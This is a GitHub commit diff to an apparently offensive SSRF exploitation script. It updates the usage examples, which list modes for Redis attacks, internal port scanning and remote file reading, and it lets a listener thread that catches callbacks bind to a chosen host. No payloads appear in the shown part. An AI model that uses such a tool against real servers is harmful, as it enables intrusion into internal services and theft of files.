Skip to content

Commit 305cde1

Browse files
authored
Update ssrf-exploition.py
1 parent d11f09f commit 305cde1

File tree

1 file changed

+11
-10
lines changed

1 file changed

+11
-10
lines changed

ssrf-exploition.py

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,13 @@
2424
banner()
2525

2626
example_text = '''Example:
27-
python3 ssrf-exploit.py -u https://example.com/
28-
python3 ssrf-exploit.py -u https://example.com/ -m redis
29-
python3 ssrf-exploit.py -u https://example.com/ -m portscan
30-
python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile
31-
python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
32-
python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
33-
python3 ssrf-exploit.py -d data/request.txt -u https://example.com/ -m redis
27+
python3 ssrf-exploition.py -u https://example.com/
28+
python3 ssrf-exploition.py -u https://example.com/ -m redis
29+
python3 ssrf-exploition.py -u https://example.com/ -m portscan
30+
python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile
31+
python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
32+
python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
33+
python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis
3434
3535
'''
3636
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
@@ -80,15 +80,16 @@
8080

8181
class Handler(threading.Thread):
8282

83-
def __init__(self, port):
83+
def __init__(self, host, port):
8484
threading.Thread.__init__(self)
85-
logging.info(f"Handler listening on 0.0.0.0:{port}")
85+
logging.info(f"Handler listening on {host}:{port}")
8686
self.connected = False
8787
self.port = int(port)
88+
self.host = str(host)
8889

8990
def run(self):
9091
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
91-
self.socket.bind(('', self.port))
92+
self.socket.bind((self.host, self.port))
9293

9394
while True:
9495
self.socket.listen(5)

0 commit comments

Comments
 (0)